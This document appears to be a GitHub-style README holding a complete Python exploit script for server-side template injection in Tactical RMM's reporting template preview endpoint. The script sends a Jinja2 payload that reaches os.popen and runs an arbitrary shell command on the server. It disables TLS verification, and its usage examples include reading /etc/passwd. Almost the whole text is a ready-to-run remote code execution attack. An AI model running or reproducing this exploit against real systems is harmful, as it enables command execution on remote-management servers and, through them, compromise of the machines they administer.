README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Tactical RMM SSTI Exploit
Exploits Server-Side Template Injection vulnerability in Jinja2 templates
"""
import argparse
import requests
import sys
import json
from urllib.parse import urlparse
def exploit_ssti(domain, token, command):
"""
Exploits SSTI vulnerability in template preview endpoint
Args:
domain: Tactical API (e.g., api.lizardsec.xyz)
token: Your user authorization token
command: Bash command
"""
# Build the URL
if not domain.startswith('http'):
url = f"https://{domain}/reporting/templates/preview/"
else:
parsed = urlparse(domain)
url = f"{parsed.scheme}://{parsed.netloc}/reporting/templates/preview/"
# Malicious template - SSTI
template_md = (
"{% set globals = ''.__class__.__mro__[1].__subclasses__()[140].__init__.__globals__ %}\n"
"{% set builtins = globals['__builtins__'] %}\n"
"{% set import_func = builtins['__import__'] %}\n"
"{% set os_module = import_func('os') %}\n"
"{% set command_output = os_module.popen('" + command + "').read().strip() %}\n"
"Command Output: {{ command_output }}"
)
payload = {
"template_md": template_md,
"type": "markdown",
"template_css": "",
"template_html": None,
"template_variables": {},
"dependencies": {},
"format": "html",
"debug": False
}
# Request headers
headers = {
"Host": urlparse(url).netloc,
"Authorization": f"Token {token}",
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json",
"Origin": f"https://{urlparse(url).netloc}",
"Referer": f"https://{urlparse(url).netloc}/reporting/templates/3/export"
}
print(f"[*] Target: {url}")
print(f"[*] Command: {command}")
print(f"[*] Sending SSTI payload...\n")
try:
# Send the request
response = requests.post(
url,
headers=headers,
json=payload,
timeout=30,
verify=False # Ignore SSL verification
)
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Response Length: {len(response.content)} bytes\n")
if response.status_code == 200:
print("[+] Exploit executed successfully\n")
print("="*60)
print("Output: ")
print("="*60)
# Try to parse as JSON
try:
json_response = response.json()
print(json.dumps(json_response, indent=2))
except:
# If not JSON, show plain text
print(response.text)
print("="*60)
elif response.status_code == 401:
print("[-] Error: Invalid authorization token")
elif response.status_code == 403:
print("[-] Error: Access denied")
elif response.status_code == 404:
print("[-] Error: Endpoint not found")
else:
print(f"[-] Error: Unexpected status code")
print(f"[*] Response: {response.text[:500]}")
except requests.exceptions.ConnectionError:
print(f"[-] Error: Could not connect to host {domain}")
except requests.exceptions.Timeout:
print("[-] Error: Request timeout")
except Exception as e:
print(f"[-] Unexpected error: {str(e)}")
def main():
parser = argparse.ArgumentParser(
description='SSTI Exploit for Tactical RMM - Template Preview Endpoint',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Usage examples:
python3 %(prog)s -d api.rmmdomain.xyz -t TOKEN123 -c "id"
python3 %(prog)s -d https://api.example.com -t TOKEN123 -c "whoami"
python3 %(prog)s -d api.example.com -t TOKEN123 -c "cat /etc/passwd"
python3 %(prog)s -d api.example.com -t TOKEN123 -c "ls -la /tmp"
Notes:
- The token must be valid for API authentication
- Commands are executed in the web server context
- Use quotes for commands with spaces or special characters
"""
)
parser.add_argument(
'-d', '--domain',
required=True,
help='Tactical API Domain (e.g., api.lizardsec.xyz)'
)
parser.add_argument(
'-t', '--token',
required=True,
help='Authorization token'
)
parser.add_argument(
'-c', '--command',
required=True,
help='Command to be executed on the server'
)
# If no arguments, show help
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
# Suppress SSL warnings
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Execute the exploit
exploit_ssti(args.domain, args.token, args.command)
if __name__ == "__main__":
main()